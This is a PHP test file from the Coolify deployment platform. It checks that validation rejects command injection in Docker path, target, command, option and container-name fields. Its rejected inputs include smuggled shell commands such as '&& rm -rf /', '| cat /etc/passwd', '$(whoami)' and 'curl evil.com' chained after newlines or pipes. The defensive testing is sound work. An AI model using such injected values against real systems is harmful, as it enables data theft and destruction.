coolify/tests/Feature/CommandInjectionSecurityTest.php

672 lines
26 KiB
PHP

<?php
use App\Jobs\ApplicationDeploymentJob;
describe('deployment job path field validation', function () {
test('rejects shell metacharacters in dockerfile_location', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile; echo pwned', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects backtick injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile`whoami`', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects dollar sign variable expansion', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile$(whoami)', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects pipe injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile | cat /etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects ampersand injection', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/Dockerfile && env', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
test('rejects path traversal', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/../../../etc/passwd', 'dockerfile_location'))
->toThrow(RuntimeException::class, 'path traversal detected');
});
test('allows valid simple path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/Dockerfile', 'dockerfile_location'))
->toBe('/Dockerfile');
});
test('allows valid nested path with dots and hyphens', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker/Dockerfile.prod', 'dockerfile_location'))
->toBe('/docker/Dockerfile.prod');
});
test('allows path with @ symbol for scoped packages', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location'))
->toBe('/packages/@intlayer/mcp/Dockerfile');
});
test('allows path with tilde and plus characters', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location'))
->toBe('/build~v1/c++/Dockerfile');
});
test('allows valid compose file path', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect($method->invoke($instance, '/docker-compose.prod.yml', 'docker_compose_location'))
->toBe('/docker-compose.prod.yml');
});
});
describe('API validation rules for path fields', function () {
test('dockerfile_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/Dockerfile; echo pwned; #'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('dockerfile_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/docker/Dockerfile.prod'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeFalse();
});
test('docker_compose_location validation rejects shell metacharacters', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker-compose.yml; env; #'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location validation allows valid paths', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => '/docker/docker-compose.prod.yml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeFalse();
});
test('dockerfile_location validation allows paths with @ for scoped packages', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeFalse();
});
});
describe('sharedDataApplications rules survive array_merge in controller', function () {
test('docker_compose_location safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_location,
// so the shared regex rule must survive
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
expect($merged['docker_compose_location'])->toBeArray();
expect($merged['docker_compose_location'])->toContain('regex:'.\App\Support\ValidationPatterns::FILE_PATH_PATTERN);
});
});
describe('path fields require leading slash', function () {
test('dockerfile_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_location' => 'Dockerfile'],
['dockerfile_location' => $rules['dockerfile_location']]
);
expect($validator->fails())->toBeTrue();
});
test('docker_compose_location without leading slash is rejected by API rules', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_location' => 'docker-compose.yaml'],
['docker_compose_location' => $rules['docker_compose_location']]
);
expect($validator->fails())->toBeTrue();
});
test('deployment job rejects path without leading slash', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker-compose.yaml', 'docker_compose_location'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
});
});
describe('dockerfile_target_build validation', function () {
test('rejects shell metacharacters in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'production; echo pwned'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'builder$(whoami)'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand injection in dockerfile_target_build', function () {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => 'stage && env'],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid target names', function ($target) {
$rules = sharedDataApplications();
$validator = validator(
['dockerfile_target_build' => $target],
['dockerfile_target_build' => $rules['dockerfile_target_build']]
);
expect($validator->fails())->toBeFalse();
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
test('runtime validates dockerfile_target_build', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
// Test that validateShellSafeCommand is also available as a pattern
$pattern = \App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN;
expect(preg_match($pattern, 'production'))->toBe(1);
expect(preg_match($pattern, 'build; env'))->toBe(0);
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
});
});
describe('base_directory validation', function () {
test('rejects shell metacharacters in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/src; echo pwned'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in base_directory', function () {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => '/dir$(whoami)'],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid base directories', function ($dir) {
$rules = sharedDataApplications();
$validator = validator(
['base_directory' => $dir],
['base_directory' => $rules['base_directory']]
);
expect($validator->fails())->toBeFalse();
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
test('runtime validates base_directory via validatePathField', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validatePathField');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, '/src', 'base_directory'))
->toBe('/src');
});
});
describe('docker_compose_custom_command validation', function () {
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects pipe injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects ampersand chaining in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up && rm -rf /'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker compose commands', function ($cmd) {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => $cmd],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeFalse();
})->with([
'docker compose build',
'docker compose up -d --build',
'docker compose -f custom.yml build --no-cache',
]);
test('rejects backslash in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects single quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects double quotes in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => 'docker compose up -d --build "malicious"'],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects newline injection in docker_compose_custom_start_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_start_command' => "docker compose up\ncurl evil.com"],
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects carriage return injection in docker_compose_custom_build_command', function () {
$rules = sharedDataApplications();
$validator = validator(
['docker_compose_custom_build_command' => "docker compose build\rcurl evil.com"],
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
);
expect($validator->fails())->toBeTrue();
});
test('runtime validates docker compose commands', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateShellSafeCommand');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'docker compose up; echo pwned', 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect(fn () => $method->invoke($instance, "docker compose up\ncurl evil.com", 'docker_compose_custom_start_command'))
->toThrow(RuntimeException::class, 'contains forbidden shell characters');
expect($method->invoke($instance, 'docker compose up -d --build', 'docker_compose_custom_start_command'))
->toBe('docker compose up -d --build');
});
});
describe('custom_docker_run_options validation', function () {
test('rejects semicolon injection in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--cap-add=NET_ADMIN; echo pwned'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('rejects command substitution in custom_docker_run_options', function () {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => '--hostname=$(whoami)'],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid docker run options', function ($opts) {
$rules = sharedDataApplications();
$validator = validator(
['custom_docker_run_options' => $opts],
['custom_docker_run_options' => $rules['custom_docker_run_options']]
);
expect($validator->fails())->toBeFalse();
})->with([
'--cap-add=NET_ADMIN --cap-add=NET_RAW',
'--privileged --init',
'--memory=512m --cpus=2',
]);
});
describe('container name validation', function () {
test('rejects shell injection in container name', function () {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => 'my-container; echo pwned'],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeTrue();
});
test('allows valid container names', function ($name) {
$rules = sharedDataApplications();
$validator = validator(
['post_deployment_command_container' => $name],
['post_deployment_command_container' => $rules['post_deployment_command_container']]
);
expect($validator->fails())->toBeFalse();
})->with(['my-app', 'nginx_proxy', 'web.server', 'app123']);
test('runtime validates container names', function () {
$job = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $job->getMethod('validateContainerName');
$method->setAccessible(true);
$instance = $job->newInstanceWithoutConstructor();
expect(fn () => $method->invoke($instance, 'container; echo pwned'))
->toThrow(RuntimeException::class, 'contains forbidden characters');
expect($method->invoke($instance, 'my-app'))
->toBe('my-app');
});
});
describe('dockerfile_target_build rules survive array_merge in controller', function () {
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged)->toHaveKey('dockerfile_target_build');
expect($merged['dockerfile_target_build'])->toBeArray();
expect($merged['dockerfile_target_build'])->toContain('regex:'.\App\Support\ValidationPatterns::DOCKER_TARGET_PATTERN);
});
});
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
// Simulate what ApplicationsController does: array_merge(shared, local)
// After our fix, local no longer contains docker_compose_custom_start_command,
// so the shared regex rule must survive
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_start_command'])->toBeArray();
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
$sharedRules = sharedDataApplications();
$localRules = [
'name' => 'string|max:255',
'docker_compose_domains' => 'array|nullable',
];
$merged = array_merge($sharedRules, $localRules);
expect($merged['docker_compose_custom_build_command'])->toBeArray();
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.\App\Support\ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
});
});
describe('API route middleware for deploy actions', function () {
test('application start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$route = $routes->getByAction('App\Http\Controllers\Api\ApplicationsController@action_deploy');
expect($route)->not->toBeNull();
$middleware = $route->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
expect($middleware)->not->toContain('api.ability:write');
});
test('application restart route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'restart')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('application stop route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'applications') && str_contains($route->uri(), 'stop')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('database start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'databases') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
test('service start route requires deploy ability', function () {
$routes = app('router')->getRoutes();
$matchedRoute = null;
foreach ($routes as $route) {
if (str_contains($route->uri(), 'services') && str_contains($route->uri(), 'start')) {
$matchedRoute = $route;
break;
}
}
expect($matchedRoute)->not->toBeNull();
$middleware = $matchedRoute->gatherMiddleware();
expect($middleware)->toContain('api.ability:deploy');
});
});